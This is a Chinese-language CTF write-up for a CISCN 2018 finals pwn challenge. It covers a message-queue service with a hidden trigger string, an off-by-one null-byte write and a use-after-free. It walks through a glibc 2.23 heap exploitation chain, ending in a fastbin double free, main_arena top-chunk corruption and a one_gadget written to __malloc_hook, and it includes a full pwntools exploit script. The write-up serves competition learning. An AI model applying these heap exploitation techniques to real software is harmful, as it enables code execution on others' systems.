CISCN2018决赛-X1cT34m-pwn-WriteUp

Posted by on August 13, 2018 · 8 mins read

题目中的消息队列服务是主办方要求的内容,功能部分没有加洞,也不好加洞,就另外写了别的功能。

img

看汇编可以看到在eval_expr函数中有一段异常处理,在表达式为“_GG_gG_Gg_”时会打开新世界的大门。

这里有一个单字节写0和UAF的漏洞,本来其实是没有UAF的,有人说怕太难出题分太低,就另外加的UAF,这里就当指针已经置0了,主要讲单字节写0的打法。

img

在add函数中,在给字符串结尾赋0时用的是v4,而v4只在一开始被赋值了,当大小不满足0-88时,会要求重新输入但V4并没有随着v1一起被更新,所以有一个字符串地址附近的任意地址单字节写0

首先分配3个堆块再释放掉,将fd的低字节写0,这样在分配的时候可以两次分配到同一个地方,得到指向同一个堆块的两个指针,然后把top chunk size 高位写0 ,使得top chunk 变小引发malloc consolidate从而获得libc地址。最后就是按照经典的Fastbin Double Free 的思路来了,但是这里分配的大小不能超过0x58也就是不能分配0x70-0x7f的fastbin,直接利用libc地址开头0x7f构造偏移来分配到malloc hook就无法实现了,而且开启了Full RELRO也无法修改GOT表。这里的思路是来源于一起看到的某个题,具体是那个比赛的想不起来了,就是先用一个小的fastbin 构造double free,修改掉fd为0x61之后,再分配到这个堆块时,Main arena上保存的指针就会变成0x61,然后利用这个0x61就可以往main arena上分配堆块,修改main arena上top chunk指针为malloc hook -0x10,并将其他fastbin 的指针清0,下次分配时就会从修改的top chunk地址分配而绕过size的检查,最后往malloc hook 上写one gadget就OK了。

EXP:

from pwn import *
context(os='linux',arch='amd64')

p=process('./gg',env={'LD_PRELOAD':'./libc-2.23.so'})

elf = ELF('./gg')
libc = ELF('./libc-2.23.so')
def sendpkg(msg,uid,rec=0,err=0):
	m = p32(3)[::-1] +p32(32)[::-1] +uid + p32(36)[::-1]+'20829e66-d66b-429c-8963-d4e4937003d6' + p32(len(msg))[::-1] + msg
	l = len(m)+8
	m = 'RPCM'+p32(l)[::-1]+m
	p.send(m)
	if err:
		p.recvuntil('Error in: ')
		return 
	if not rec:
		p.recvuntil('\xbe\xef',timeout=2)
	#	print p.recv()




def recpkg(uid):
	m=p32(2)[::-1] +p32(32)[::-1]+uid+ p32(36)[::-1]+'20829e66-d66b-429c-8963-d4e4937003d6'
	l = len(m)+8
	m = 'RPCM'+p32(l)[::-1]+m
	p.send(m)
	p.recvuntil('\xbe\xf2')




p.send('RPCM'+p32(12)[::-1]+p32(0)[::-1])
p.recvuntil('\xbe\xef')	
p.send('RPCM'+p32(12)[::-1]+p32(1)[::-1])
p.recvuntil('\x00\x00\x00\x20')
uid = p.recv(32)
off = 10



sendpkg('_GG_gG_Gg_',uid,1)

def allocate(size,content,offset=0):
	p.sendlineafter(">> ","1")
	if offset:
		p.sendlineafter("Size: ",str(offset))
	p.sendlineafter("Size: ",str(size))
	p.sendlineafter("Message: ",content)

def show(index):
	p.sendlineafter(">> ","2")
	p.sendlineafter("Index: ",str(index))

def delete(index):
	p.sendlineafter(">> ","3")
	p.sendlineafter("Index: ",str(index))

allocate(0x10,'aaa')#0

allocate(0x28,'aaa')#0

allocate(0x28,'aaa')#1
allocate(0x28,'aaa')#2

delete(2)
delete(3)

delete(1)

allocate(0x28,'',0x61)#0

allocate(0x28,'aaa')#1
allocate(0x28,'aaa')#2 == 0 overlap


allocate(0x28,'aaa')#3
allocate(0x58,'aaa')#4
allocate(0x58,'aaa',0x5b)#5
allocate(0x58,'aaa',0x5a)#6

delete(2)
delete(3)
delete(4)
delete(5)
delete(6)

allocate(0x30,'aaa')#1

show(1)
p.recvuntil(": ")
addr=u64(p.recv(6).ljust(8,'\0'))

libc_base=addr - (0x7fae21b49b98-0x7fae21785000)
print "libc_base",hex(libc_base)

system=libc_base+libc.symbols['system']
print "system",hex(system)

free_hook=libc_base+libc.symbols['__free_hook']
print "free_hook",hex(free_hook)


malloc_hook=libc_base + libc.symbols['__malloc_hook']

main_arena = malloc_hook+0x10

one_gadget=libc_base+0xf1147


allocate(0x28,'aaa')#2 == 0
allocate(0x28,'aaa')#3

delete(3)
delete(4)
delete(1)
allocate(0x28,p64(0x61))#0
allocate(0x28,'')#2
allocate(0x28,'')#3

allocate(0x58,'a')#4
delete(7)
delete(5)

delete(2)

allocate(0x30,'aaa',0x71)#1

allocate(0x58,'a'*0x28+p64(0x61)+p64(main_arena+8))#4
allocate(0x50,'a'*0x28+p64(0x51)+p64(main_arena+0x58)+p64(main_arena+0x58))#5
allocate(0x50,'\x00'*0x40+p64(malloc_hook-0x10))#6

allocate(0x50,p64(one_gadget))

delete(1)

p.sendlineafter(">> ","1")
p.sendlineafter("Size: ",str(0x10))

p.interactive()

最后还是忍不住要吐槽一下这个国赛的赛制,有点像战争分享+AWD模式,但是却是由主办方给了题目和checker,每个队面向同样的需求和checker来开发,需求又非常复杂,PWN题是消息队列服务,和队友大概撸了一个礼拜才把轮子造出来,为了过checker还写了高精度。。。。。然后决赛运维还出现了重大失误,具体就不多说了。

题目源码:

Source